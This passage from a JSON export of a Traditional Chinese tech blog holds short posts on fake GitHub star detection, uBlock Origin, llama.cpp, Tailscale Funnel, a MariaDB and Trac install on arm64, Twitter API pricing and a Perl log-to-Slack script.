    "body": "昨天在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 首頁上看到「<a href=\"https://news.ycombinator.com/item?id=35207020\">Tracking the Fake GitHub Star Black Market (dagster.io)</a>」這篇，原文在「<a href=\"https://dagster.io/blog/fake-stars\">Tracking the Fake GitHub Star Black Market with Dagster, dbt and BigQuery</a>」這邊。\r\n\r\n作者群想要偵測 <a href=\"https://github.com/\">GitHub</a> 上面 fake star 的行為，所以就跑去找黑市買，然後找到了兩家，Baddhi Shop (1000 個 $64) 與 GitHub24 (每個 €0.85，大約是 $0.91)，價錢差異很大，「品質」差異也很大：貴的 star 在一個月後還是存在，而便宜的看起來有一些有被 GitHub 偵測到而清除掉：\r\n\r\n<blockquote>A month later, all 100 GitHub24 stars still stood, but only three-quarters of the fake Baddhi Shop stars remained. We suspect the rest were purged by GitHub’s integrity teams.</blockquote>\r\n\r\n接下來就是想要系統化分析，切入點是 <a href=\"https://www.gharchive.org/\">GH Archive</a> 這個服務，可以直接下載 GitHub 全站上的 public evnets 資料：\r\n\r\n<blockquote>GH Archive is a project to record the public GitHub timeline, archive it, and make it easily accessible for further analysis.</blockquote>\r\n\r\n想要偵測兩種不同的 fake account，第一種是 obvious fake account，定義成這樣：\r\n\r\n<ul>\r\n\t<li>Created in 2022 or later</li>\r\n\t<li>Followers &lt;=1</li>\r\n\t<li>Following &lt;= 1</li>\r\n\t<li>Public gists == 0</li>\r\n\t<li>Public repos &lt;=4</li>\r\n\t<li>Email, hireable, bio, blog, and twitter username are empty</li>\r\n\t<li>Star date == account creation date == account updated date</li>\r\n</ul>\r\n\r\n從定義就可以看出來完全就是灌水帳號，開出來就沒在動的。從 screenshot 可以看出這種帳號長的都一樣：\r\n\r\n<img src=\"https://i.gslin.com/imgur/5Stue3r.gif\" alt=\"\" />\r\n\r\n另外一種則是透過演算法去分析，這邊拿 <a href=\"https://en.wikipedia.org/wiki/Unsupervised_learning\">unsupervised clustering</a> 類的演算法分析出來的結果，可以看到抓到很多：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LJEYNjS.webp\" /><img src=\"https://i.gslin.com/imgur/LJEYNjS.png\" alt=\"\" /></picture>\r\n\r\n最近 NN 類的 machine learning 演算法太多，看到這些傳統的 machine learning 演算法還是覺得頗新鮮的...",
    "title": "Fake GitHub Star 的生意"
  },
  {
    "id": "11108",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35248517\">uBlock Origin 1.48 adds readiness status, code viewer, and other fixes (github.com/gorhill)</a>」這則消息，<a href=\"https://en.wikipedia.org/wiki/UBlock_Origin\">uBlock Origin</a> 在 1.48 有個蠻重要的 UI/UX 改善 (Readiness status at browser launch)。\r\n\r\nuBlock Origin 預設會搭配「工人智慧」維護的列表，這些列表通常都不小，在剛開瀏覽器，還在讀取的過程中去看網站會遇到阻擋不完整的情況。\r\n\r\n先前沒有辦法知道這個問題，在這版加上了對應的 icon color 來解決，黃色表示還在讀：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/P2Cetge.webp\" /><img src=\"https://i.gslin.com/imgur/P2Cetge.png\" alt=\"\" /></picture>\r\n\r\n這時候跑去逛網站的話會出現驚嘆號：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5JYwS6p.webp\" /><img src=\"https://i.gslin.com/imgur/5JYwS6p.png\" alt=\"\" /></picture>\r\n\r\n讀取完後 icon 會變成標準的紅色，但驚嘆號仍然會留著，表示這個頁面未必有完整過濾：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ujJmbLG.webp\" /><img src=\"https://i.gslin.com/imgur/ujJmbLG.png\" alt=\"\" /></picture>\r\n\r\n正常有阻擋的則是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VEknT0j.webp\" /><img src=\"https://i.gslin.com/imgur/VEknT0j.png\" alt=\"\" /></picture>\r\n\r\n理論上可以減少 bug report XDDD\r\n\r\n<blockquote>To reduce the number of reports caused by this issue which is outside of uBO's control, uBO's toolbar icon will now reflect its readiness status at browser launch.</blockquote>",
    "title": "uBlock Origin 1.48.0 的改善"
  },
  {
    "id": "11109",
    "body": "在「<a href=\"https://blog.gslin.org/archives/2023/03/17/11101/stanford-alpaca-%e8%88%87-alpaca-cpp/\">Stanford Alpaca 與 Alpaca.cpp</a>」這邊有提到 <a href=\"https://crfm.stanford.edu/2023/03/13/alpaca.html\">Alpaca</a> 有放出 7B 的 model 可以用，後來 community 也照著同樣的方式訓練出對應的 13B 與 30B 的 model 了，在 <a href=\"https://github.com/antimatter15/alpaca.cpp\">Alpaca.cpp</a> 專案的 README.md 有寫怎麼取得。\r\n\r\n看起來比較大的限制是記憶體，13B 與 30B 的記憶體建議是 &gt;10GB RAM 與 &gt;32GB RAM，不知道剛好 32GB RAM 跑不跑得動，先拿 32GB RAM 的機器跑看看，如果真的不行的話家裡桌機是 64GB RAM，應該是不會有大問題...\r\n\r\n不過 13B 的 model 檔案位置是放在 <a href=\"https://en.wikipedia.org/wiki/InterPlanetary_File_System\">IPFS</a> 上，透過這幾個 gateway 下載起來都有點慢，有需要的人用 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 可能會快一點？\r\n\r\nUpdate：測了一下 13B 的版本：\r\n\r\n<blockquote>&gt; Explain FAANG.\r\nFAANG refers to five of America's largest technology companies - Facebook, Apple Inc., Amazon, Netflix and Google (Alphabet). These are some of the most valuable brands in today’s marketplace with a combined value that exceeded $3 trillion as at 2018.</blockquote>\r\n\r\n以及 30B 的版本：\r\n\r\n<blockquote>&gt; Explain FAANG.\r\nFAANG stands for Facebook, Amazon, Apple, Netflix and Google - five of the most powerful technology companies in today's world. These tech giants have become increasingly influential over recent years due to their dominance in various markets such as social media platforms (Facebook), e-commerce websites (Amazon) or streaming services (Netflix).</blockquote>",
    "title": "Alpaca.cpp 有 13B 與 30B 的 model 可以玩了"
  },
  {
    "id": "11110",
    "body": "找資料才發現 RFC 7526 廢掉 <a href=\"https://en.wikipedia.org/wiki/6to4\">6to4</a> 了：「<a href=\"https://www.rfc-editor.org/rfc/rfc7526\">Deprecating the Anycast Prefix for 6to4 Relay Routers</a>」。\r\n\r\n看起來像是無法解決的技術問題：\r\n\r\n<blockquote>While this makes the forward path more controlled, it does not guarantee a functional reverse path.</blockquote>\r\n\r\n去程的部份比較沒問題，但回程的部份就不一定會動。\r\n\r\n不過目前看起來 <a href=\"https://he.net/\">HE</a> 的 192.88.99.1 還有在運作，真的用 6to4 連 IPv6 network 的人至少還有機會動，等之後 IPv6 更普及應該會慢慢退場...",
    "title": "6to4 在 2015 年就 deprecated 了..."
  },
  {
    "id": "11112",
    "body": "看到 <a href=\"https://github.com/\">GitHub</a> 宣佈更換 SSH key (<a href=\"https://en.wikipedia.org/wiki/RSA_(cryptosystem)\">RSA</a> 的部份)：「<a href=\"https://github.blog/2023-03-23-we-updated-our-rsa-ssh-host-key/\">We updated our RSA SSH host key</a>」。\r\n\r\n在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的「<a href=\"https://news.ycombinator.com/item?id=35285390\">We updated our RSA SSH host key (github.blog)</a>」這邊有人提到官方文件 (原文裡面也有提到)，裡面會列出對應的 key：「<a href=\"https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/githubs-ssh-key-fingerprints\">GitHub's SSH key fingerprints</a>」。\r\n\r\n只是看起來這些大公司依然對 <a href=\"https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions\">DNSSEC</a> + <a href=\"https://en.wikipedia.org/wiki/SSHFP_record\">SSHFP</a> 這樣的組合沒興趣...",
    "title": "GitHub 更換 github.com 的 SSH host key (RSA 部份)"
  },
  {
    "id": "11113",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/elasticloadbalancing/application-load-balancer/\">ALB</a> 宣佈支援 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 1.3：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2023/03/application-load-balancer-tls-1-3/\">Application Load Balancer now supports TLS 1.3</a>」。\r\n\r\n本來以為早就支援了，翻了一下發現應該是太多產品線的關係搞混了：\r\n\r\n<ul>\r\n\t<li>CloudFront 支援的消息在 2020/09/03：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/09/cloudfront-tlsv1-3-support/\">Amazon CloudFront announces support for TLSv1.3 for viewer connections</a>」。</li>\r\n\t<li>NLB 支援的消息在 2021/10/14：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2021/10/aws-network-load-balancer-supports-tls-1-3/\">Network Load Balancer now supports TLS 1.3</a>」。</li>\r\n</ul>\r\n\r\nALB 則是到了 2023 才支援 TLS 1.3...",
    "title": "AWS ALB 支援 TLS 1.3？"
  },
  {
    "id": "11116",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://gitea.io/\">Gitea</a> 出 1.19 的消息：「<a href=\"https://news.ycombinator.com/item?id=35231980\">Gitea 1.19 (gitea.io)</a>」，在討論裡面就有人提到 <a href=\"https://blog.gitea.io/2022/12/feature-preview-gitea-actions/\">Gitea Actions</a>，從名字就知道是抄自 <a href=\"https://github.com/features/actions\">GitHub Actions</a>，算是 Gitea 開始建立自己的 DevOps 生態系的一個重要功能。\r\n\r\n目前這個功能還被掛在 EXPERIMENTAL 上，預設是關閉的，而且我自己試了一下也的確試跑不太起來，出現這樣的錯誤訊息，暫時也沒空去細追：\r\n\r\n<pre>time=\"2023-03-28T17:36:37Z\" level=info msg=\"poller: request stage from remote server\" func=pollTask\r\ntime=\"2023-03-28T17:36:37Z\" level=error msg=\"cannot accept task\" error=\"unknown: rpc error: code = Internal desc = pick task: CreateTaskForRunner: Error 1366 (HY000): Incorrect string value: '\\\\xF0\\\\x9F\\\\x8E\\\\x89 T...' for column 'name' at row 1\" func=pollTask\r\ntime=\"2023-03-28T17:36:37Z\" level=error msg=\"can't find the task: unknown: rpc error: code = Internal desc = pick task: CreateTaskForRunner: Error 1366 (HY000): Incorrect string value: '\\\\xF0\\\\x9F\\\\x8E\\\\x89 T...' for column 'name' at row 1\" func=Poll</pre>\r\n\r\n接下來會有更多人跳進去試，之後再來看看成熟度如何...",
    "title": "Gitea 推出 Actions"
  },
  {
    "id": "11117",
    "body": "看到 <a href=\"https://news.ycombinator.com/item?id=35156894\">Ask HN: Is Hacker News slow for anyone else?</a> 這邊的討論，<a href=\"https://news.ycombinator.com/user?id=dang\">dang</a> (Hacker News 的管理員) 在 <a href=\"https://news.ycombinator.com/item?id=35157344\">35157344</a> 這邊就有出來說明：\r\n\r\n<blockquote>All: our poor server is smoking today* so I've had to reduce the page size of comments. There are 1500+ comments in this thread but if you want to read more than a few dozen you'll need to page through them by clicking the More link at the bottom. I apologize!\r\n\r\nAlso, if you're cool with read-only access, just log out (edit: or use an incognito tab) and all will be fast again.\r\n\r\n* yes, HN still runs on one core, at least the part that serves logged-in requests, and yes this will all get better someday...it kills me that this isn't done yet but one day you will all see</blockquote>\r\n\r\n另外比較特別的是，Hacker News 是用 <a href=\"https://en.wikipedia.org/wiki/Arc_(programming_language)\">Arc</a> (<a href=\"https://en.wikipedia.org/wiki/Lisp_(programming_language)\">Lisp</a>) 寫的，不過看起來沒有考慮到 optimization，加上那天 <a href=\"https://reddit.com/\">Reddit</a> 也掛了，的確帶動 Hacker News 這邊更新的頻率比較高...",
    "title": "前陣子 Hacker News 很慢的一些背景知識"
  },
  {
    "id": "11118",
    "body": "前面兩個月發文比較少，所以沒注意到 <a href=\"https://jetpack.com/\">Jetpack</a> 分享功能變成限制一個月只能分享 30 則，超過的部份要另外購買。這應該是 <a href=\"https://twitter.com/\">Twitter</a> 之前在搞事的時候順勢推出來的專案？\r\n\r\n看了一下應該是 Social 功能，Basic 版本就夠，但然後那個價錢應該是不太可能買 (年繳要 US$12/mo)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LsvQRl9.webp\" /><img src=\"https://i.gslin.com/imgur/LsvQRl9.png\" alt=\"\" /></picture>\r\n\r\n替代方案是把先前買的 <a href=\"https://ifttt.com/\">IFTTT</a> 拿出來用，透過 <a href=\"https://en.wikipedia.org/wiki/RSS\">RSS</a> feed 同步到 Twitter、<a href=\"https://www.linkedin.com/\">LinkedIn</a> 與 <a href=\"https://www.tumblr.com/\">Tumblr</a>。\r\n\r\n本來的 <a href=\"https://www.plurk.com/\">Plurk</a> 與 <a href=\"https://www.facebook.com/\">Facebook</a> 則是從 Twitter 同步過去，應該是不用動，來看一下效果怎麼樣...",
    "title": "改用 IFTTT 分享到 Twitter"
  },
  {
    "id": "11120",
    "body": "從 <a href=\"https://twitter.com/\">Twitter</a> 上看到的公告：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Today we are launching our new Twitter API access tiers! We’re excited to share more details about our self-serve access. ?</p>&mdash; Twitter Dev (@TwitterDev) <a href=\"https://twitter.com/TwitterDev/status/1641222782594990080?ref_src=twsrc%5Etfw\">March 29, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n然後這次的 prior notice 是 30 天：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Over the next 30 days, we will deprecate current access tiers such as Standard (v1.1), Essential (v2), Elevated (v2), and Premium so we recommend that you migrate to the new tiers as soon as possible for a smooth transition.</p>&mdash; Twitter Dev (@TwitterDev) <a href=\"https://twitter.com/TwitterDev/status/1641222786894135296?ref_src=twsrc%5Etfw\">March 29, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n而在「<a href=\"https://developer.twitter.com/\">Use Cases, Tutorials, &amp; Documentation</a>」這頁上可以看到各種方案了：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JhIL7zB.webp\" /><img src=\"https://i.gslin.com/imgur/JhIL7zB.png\" alt=\"\" /></picture>\r\n\r\n可以看到付費方案對業餘開發者其實頗不友善，現在比較不確定的是這邊 free tier 提到的 write-only 是連自己的 timeline 都不能抓，還是指不能抓其他人的... 如果是前者的話就得用其他方法跑 <a href=\"https://github.com/gslin/twitter2facebook\">twitter2facebook</a> 與 <a href=\"https://github.com/gslin/twitter2plurk\">twitter2plurk</a> 了，或是乾脆跳船了？",
    "title": "Twitter 的 API 收費方案出爐了"
  },
  {
    "id": "11121",
    "body": "2021 年的時候寫過「<a href=\"https://blog.gslin.org/archives/2021/02/20/9982/%e6%9c%80%e8%bf%91%e5%be%88%e7%86%b1%e9%ac%a7%e7%9a%84-new-york-times-%e9%80%80%e8%a8%82%e6%88%aa%e5%9c%96/\">最近很熱鬧的 New York Times 退訂截圖</a>」這篇，在講紐約時報在退訂這塊的 dark pattern，這個方式後來被許多報社的網路服務使用 (像是 <a href=\"https://www.wsj.com/\">WSJ</a>)。\r\n\r\n後來加州政府通過法律阻擋這樣的 <a href=\"https://en.wikipedia.org/wiki/Dark_pattern\">dark pattern</a>，所以就有 <a href=\"https://old.reddit.com/\">Reddit</a> 上面這樣的討論，教大家直接把 billing address 改到加州後就可以網路上退訂：「<a href=\"https://old.reddit.com/r/Journalism/comments/892enx/wsj_subscription_policy_makes_it_easy_to/\">WSJ Subscription policy makes it easy to subscribe (online), but hard to unsubscribe (via phone).</a>」。\r\n\r\n現在看起來 <a href=\"https://www.ftc.gov/\">FTC</a> 打算推動變成全國性的法案，而且不只是網路服務，也包括了像是健身房與第四台的服務都必須提供對稱的方法 (訂閱與退訂)：「<a href=\"https://www.theverge.com/2023/3/23/23652373/ftc-click-to-cancel-subscription-service-dark-patterns-ban\">The FTC wants to ban those tough-to-cancel gym and cable subscriptions</a>」。\r\n\r\n來繼續追進度，看看什麼時候通過...",
    "title": "美國 FTC 提案要阻擋退訂的 Dark Pattern"
  },
  {
    "id": "11122",
    "body": "去年 11 月的時候寫過 <a href=\"https://tailscale.com/kb/1223/tailscale-funnel/\">Tailscale Funnel</a> 的消息：「<a href=\"https://blog.gslin.org/archives/2022/11/20/10967/tailscale-%E4%B9%9F%E6%8E%A8%E5%87%BA%E9%A1%9E%E4%BC%BC-cloudflare-tunnel-%E7%9A%84%E7%94%A2%E5%93%81%EF%BC%8Ctailscale-funnel/\">Tailscale 也推出類似 Cloudflare Tunnel 的產品，Tailscale Funnel</a>」，剛剛則是宣佈公開測試：「<a href=\"https://tailscale.com/blog/tailscale-funnel-beta/\">Tailscale Funnel now available in beta</a>」。\r\n\r\n測了一下，設定不算太難，但有些步驟要做：\r\n\r\n<ul>\r\n\t<li>在網頁上先允許 Access Controls 內的 Funnel。</li>\r\n\t<li>然後允許 DNS 內的 HTTPS Certificates。</li>\r\n\t<li>剩下就是照著文件跑，在本地跑對應的指令。</li>\r\n</ul>\r\n\r\n他的想法是把 <code>*.ts.net</code> 這個網域拿出來 internet 上面用，但他希望 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a> 簽的 SSL key 應該要放在本地端，而不是讓 Tailscale 看到內容。\r\n\r\n但同樣也考慮到使用者的體驗，Tailscale 不需要使用者自己處理 SSL certificate 一堆事情，而是實做在 <code>tailscaled</code> 這隻程式裡面，讓本地端的程式還是走 HTTP 而非 HTTPS。\r\n\r\n對應的，使用者如果想要取得對應的 key 與 cert，也可以透過 <code>tailscale cert</code> 指令取得。\r\n\r\n測了一下位置，<a href=\"https://www.hinet.net/\">HiNet</a> 的使用者會透過東京的節點轉進來，拿來跑測試開發機應該是夠用。\r\n\r\n以他的用法來說，跟 <a href=\"https://www.cloudflare.com/products/tunnel/\">Cloudflare Funnel</a> 的定位不太一樣，反倒是擠壓 <a href=\"https://ngrok.com/\">ngrok</a> 這類服務。",
    "title": "Tailscale Funnel 公開測試"
  },
  {
    "id": "11123",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=35393284\">Llama.cpp 30B runs with only 6GB of RAM now (github.com/ggerganov)</a>」這個消息，原 pull request 在「<a href=\"https://github.com/ggerganov/llama.cpp/pull/613\">Make loading weights 10-100x faster #613</a>」這邊。\r\n\r\n這個 PR 的作者 <a href=\"https://en.wikipedia.org/wiki/Justine_Tunney\">Justine Tunney</a> 在 PR 上有提到他改變 model 檔案格式，以便改用 <a href=\"https://en.wikipedia.org/wiki/Mmap\">mmap()</a>，大幅降低了需要預先讀取的時間 (因為變成 lazy-loading style)，而且這也讓系統可以利用 cache page，避免了 double buffering 的問題：\r\n\r\n<blockquote>This was accomplished by changing the file format so we can mmap() weights directly into memory without having to read() or copy them thereby ensuring the kernel can make its file cache pages directly accessible to our inference processes; and secondly, that the file cache pages are much less likely to get evicted (which would force loads to hit disk) because they're no longer competing with memory pages that were needlessly created by gigabytes of standard i/o.</blockquote>\r\n\r\n這讓我想到在資料庫領域中，<a href=\"https://www.postgresql.org/\">PostgreSQL</a> 也會用 mmap() 操作，有點類似的概念。\r\n\r\n另外 Justine Tunney 在<a href=\"https://github.com/ggerganov/llama.cpp/discussions/638#discussioncomment-5492916\">這邊的 comment</a> 有提到一個意外觀察到的現象，他發現實際在計算的時候用到的 model 內容意外的少：他用一個簡單的 prompt 測試，發現 20GB 的 30B model 檔案在他的 <a href=\"https://www.intel.com/\">Intel</a> 機器上實際只用到了 1.6GB 左右：\r\n\r\n<blockquote>If I run 30B on my Intel machine:\r\n\r\n[...]\r\n\r\nAs we can see, 400k page faults happen, which means only 1.6 gigabytes ((411522 * 4096) / (1024 * 1024)) of the 20 gigabyte weights file actually needed to be used.</blockquote>\r\n\r\n這點他還在懷疑是不是他的修改有 bug，但目前他覺得不太像，也看不太出來：\r\n\r\n<blockquote>Now, since my change is so new, it's possible my theory is wrong and this is just a bug. I don't actually understand the inner workings of LLaMA 30B well enough to know why it's sparse. Maybe we made some kind of rare mistake where llama.cpp is somehow evaluating 30B as though it were the 7B model. Anything's possible, however I don't think it's likely. I was pretty careful in writing this change, to compare the deterministic output of the LLaMA model, before and after the Git commit occurred. I haven't however actually found the time to reconcile the output of LLaMA C++ with something like PyTorch. It'd be great if someone could help with that, and possibly help us know why, from more a data science (rather than systems engineering perspective) why 30B is sparse.</blockquote>\r\n\r\n如果不是 bug 的話，這其實冒出了一個很有趣的訊號，表示這些 model 是有可能再瘦身的？",
    "title": "llama.cpp 的載入速度加速"
  },
  {
    "id": "11124",
    "body": "把一台本來跑在 <a href=\"https://www.vultr.com/\">Vultr</a> 上的機器搬到 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <code>us-east-1</code> 上面，除了剛好把 Ubuntu 18.04 換成 Ubuntu 22.04 外，也把本來用 x86-64 架構的機器換成用 <a href=\"https://www.arm.com/\">ARM</a> 的 <code>t4g.micro</code> (都是 1GB RAM)。\r\n\r\n就效能上來說，<code>t4g</code> 機器的效能很不錯，這兩年 blog 跑的也都還算順，先前公司用起來感覺也很好，然後價錢更便宜，另外加上 AWS 的三年 <a href=\"https://aws.amazon.com/ec2/pricing/reserved-instances/\">RI</a> 折扣大約是 4 折的價錢，算是會想要換的主因。\r\n\r\n在確認應用跑得起來後，買三年 RI 是 $87.15/3y，所以機器本身的費用大約是 $29.05/y，就算加上 8GB 的 <a href=\"https://aws.amazon.com/ebs/\">EBS</a> (gp3) 空間費用，整體比本來在 Vultr 的 $6/mo 低不少。\r\n\r\n上面跑的是我自己的 <a href=\"https://en.wikipedia.org/wiki/Trac\">Trac</a>，想搬到 AWS 上一陣子了，但有幾個不確定的因素，所以連假期間才有空多花一些時間確認。\r\n\r\n第一個是 <a href=\"https://dev.mysql.com/\">MySQL</a> 的部份，我自己習慣用 <a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 的版本，但目前還沒有 arm64 的套件可以直接裝，要用的話就得自己編以及升級。\r\n\r\n在 2021 年的時候 blog 搬到 AWS 的時候就遇過了，本來以為這次有機會，但看了一下還是沒支援，所以還是得用 <a href=\"https://mariadb.org/\">MariaDB</a>。\r\n\r\n第二個是 Trac 1.4 只能跑在 <a href=\"https://www.python.org/\">Python</a> 2.7 上 (mailing list 上有在討論轉到 Python 3 的事情，但看起來官方的動力也不大...)，這在 18.04 的時代是沒什麼問題，但 22.04 下面不知道會爛掉多少東西。\r\n\r\n所以只能繼續用 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 扛著，但已經有預期會遇到問題，加上這次又從 <a href=\"https://dev.mysql.com/\">MySQL</a> 轉到 MariaDB，應該也會有些地雷...\r\n\r\n所以跳下去後遇到的問題就跟上面提到的類似，分成兩塊。\r\n\r\n在 MariaDB 這邊第一個遇到問題是，雖然官方有提供 APT server，但沒有在 HTTPS server 上放新的 public key，所以一定得從 key server 撈。\r\n\r\n但 <a href=\"https://gnupg.org/\">GnuPG</a> 就是沒有直接從 key server 下載變成檔案的功能，一定要先塞到 keystore 裡面再 export 出來，就覺得很...\r\n\r\n所以就冒出利用 <code>mktemp -d</code> 在 <code>/tmp</code> 下產生暫存目錄這樣的寫法，讓 GnuPG 把 keystore 放進去，這樣至少在重開機後就會消失：\r\n\r\n<pre>export GNUPGHOME=$(mktemp -d); gpg --recv-keys --keyserver hkp://keyserver.ubuntu.com:80 0x177F4010FE56CA3336300305F1656F24C74CD1D8; gpg --export 0x177F4010FE56CA3336300305F1656F24C74CD1D8 | sudo tee /etc/apt/trusted.gpg.d/mariadb.gpg &gt; /dev/null; unset GNUPGHOME</pre>\r\n\r\n這邊為了安全性，還得把官方提供的 <code>0xF1656F24C74CD1D8</code> 換成 <code>0x177F4010FE56CA3336300305F1656F24C74CD1D8</code>。\r\n\r\n另外就是整理 MariaDB 需要的 <code>my.cnf</code> 內容，我是拿 Percona Server 5.7 的設定檔來改，只刪掉了跟 GTID 相關的設定就會動了。\r\n\r\n而其他 MariaDB 遇到的問題主要是設計改變的問題，在 wiki 上有提到。\r\n\r\n接下來是 Trac 1.4 的問題，本來的安裝是用 <a href=\"https://packages.ubuntu.com/search?keywords=libmysqlclient-dev\">libmysqlclient-dev</a>，然後再安裝 <a href=\"https://pypi.org/project/MySQL-python/\">mysql-python</a>：\r\n\r\n<pre>sudo apt install -y libmysqlclient-dev\r\npip install mysql-python PyMySQL Pygments Trac</pre>\r\n\r\n但單純把 libmysqlclient-dev 換成 libmariadb-dev 後，mysql-python 還是編不動，照著錯誤訊息試著 workaround (像是試著把 <code>/usr/bin/mysql_config</code> 指到 <code>/usr/bin/mariadb_config</code>) 半天還是不過，最後找資料發現要改用 <a href=\"https://pypi.org/project/mysqlclient/\">mysqlclient</a>：\r\n\r\n<pre>sudo apt install -y libmariadb-dev\r\npip install mysqlclient PyMySQL Pygments Trac</pre>\r\n\r\n搞定後後續就一路看錯誤訊息解就可以了...",
    "title": "MariaDB 以及 Trac 在 arm64 上的安裝"
  },
  {
    "id": "11126",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 VPN 廠商 <a href=\"https://mullvad.net/\">Mullvad</a> 也推出了自家的瀏覽器，<a href=\"https://mullvad.net/browser\">Mullvad Browser</a>：「<a href=\"https://news.ycombinator.com/item?id=35421034\">The Mullvad Browser (mullvad.net)</a>」。\r\n\r\n改自 <a href=\"https://www.torproject.org/\">Tor Browser</a>，最底層是 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a>，然後開起來看，內建了三個套件：\r\n\r\n<ul>\r\n\t<li><a href=\"https://mullvad.net/download/browser/extension\">Mullvad Browser Extension</a></li>\r\n\t<li><a href=\"https://addons.mozilla.org/firefox/addon/noscript/\">NoScript</a></li>\r\n\t<li><a href=\"https://addons.mozilla.org/firefox/addon/ublock-origin/\">uBlock Origin</a></li>\r\n</ul>\r\n\r\n然後因為是基於 Tor Browser，所以許多的預設值會更偏向強化隱私性的設定，這點可以從 <a href=\"https://fingerprint.com/\">fingerprint.com</a> 這邊測發現，每次重開瀏覽器會是不一樣的值，這代表用 canvas 的網站有一定機會會掛掉... 另外會有一些不方便的地方，像是時間相關的設定因為要隱藏 timezone，所以 server 端無法取得 client 的正確時間資訊。\r\n\r\n而在 <a href=\"https://mullvad.net/help/tag/mullvad-browser/\">FAQ</a> 裡面有提到，Mullvad Browser 不允許你透過 cookie 記錄登入資訊：\r\n\r\n<blockquote>How do I stay logged into specific websites between sessions?\r\nIt’s not possible. It’s an action to combat tracking.</blockquote>\r\n\r\n所以這個瀏覽器的定位不會是給你當作一般用的... 但這樣的話我更偏好用 Tor Browser？",
    "title": "Mullvad 也推出了自家的瀏覽器"
  },
  {
    "id": "11127",
    "body": "因為想在 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 上面把一些 log 丟上 <a href=\"https://slack.com/\">Slack</a>，本來看到「<a href=\"https://blog.postman.com/stream-any-log-file-to-slack-using-curl/\">Stream Any Log File to Slack Using curl</a>」這篇，但發現裡面在把字串包進 JSON object 的方法太髒 (直接把 <code>\"</code> 換成 <code>'</code>)，另外一方面是 Slack 已經在宣導不要用舊版的 <a href=\"https://api.slack.com/legacy/custom-integrations/messaging/webhooks\">Incoming Webhooks</a>，所以決定用其他方式來處理。\r\n\r\n選擇 <a href=\"https://www.perl.org/\">Perl</a> 主要是因為有一陣子沒有用 Perl 寫東西了，倒不是什麼特別的原因 (如果考慮到 Raspberry Pi 上資源有限的話，應該用 <a href=\"https://en.wikipedia.org/wiki/C_(programming_language)\">C</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Rust_(programming_language)\">Rust</a> 或是 <a href=\"https://en.wikipedia.org/wiki/Go_(programming_language)\">Go</a>，但我的 Raspberry Pi 還沒忙到這種程度...)，所以決定用 Perl 來實做這個程式，把 log 檔案丟上 Slack：\r\n\r\n<script src=\"https://gist.github.com/gslin/c5cee10151a4142aff60ff8613ac630f.js\"></script>\r\n\r\n這邊有些比較不太常見的選擇：\r\n\r\n<ul>\r\n\t<li>不用 <a href=\"https://metacpan.org/pod/File::Tail\">File::Tail</a> 而反而是用 pipe 的方式取得 <code>tail -F</code> 的輸出，是因為 File::Tail 非常舊了 (2015)，實做上沒有用到 <a href=\"https://en.wikipedia.org/wiki/Inotify\">inotify</a> 類的界面監控檔案的變化，反而是系統的 tail 有做。</li>\r\n\t<li>用 <a href=\"https://metacpan.org/pod/JSON::PP\">JSON::PP</a> (pure perl 版本) 而不是 <a href=\"https://metacpan.org/pod/JSON\">JSON</a> 是因為 JSON::PP 在 Perl 5.14+ 後內建了，我沒有太在意效能，這也是上面放 <code>use v5.14</code> 的原因。</li>\r\n\t<li>這邊的 API 呼叫還是選擇了 <a href=\"https://metacpan.org/pod/WWW::Mechanize\">WWW::Mechanize</a> 是因為沒有內建的套件可以處理 HTTPS 連線 (可以參考 <a href=\"https://perldoc.perl.org/modules\">Perl core modules</a> 這邊)，既然要另外安裝，就裝個支援度比較完整的 <a href=\"https://packages.debian.org/search?keywords=libwww-mechanize-perl\">libwww-mechanize-perl</a> 來用。</li>\r\n</ul>\r\n\r\n然後查了一下 <code>//</code> 的用法在 Perl 5.10+ 就支援了，好早...",
    "title": "用 Perl 把 log 丟上 Slack"
  },
  {
    "id": "11129",
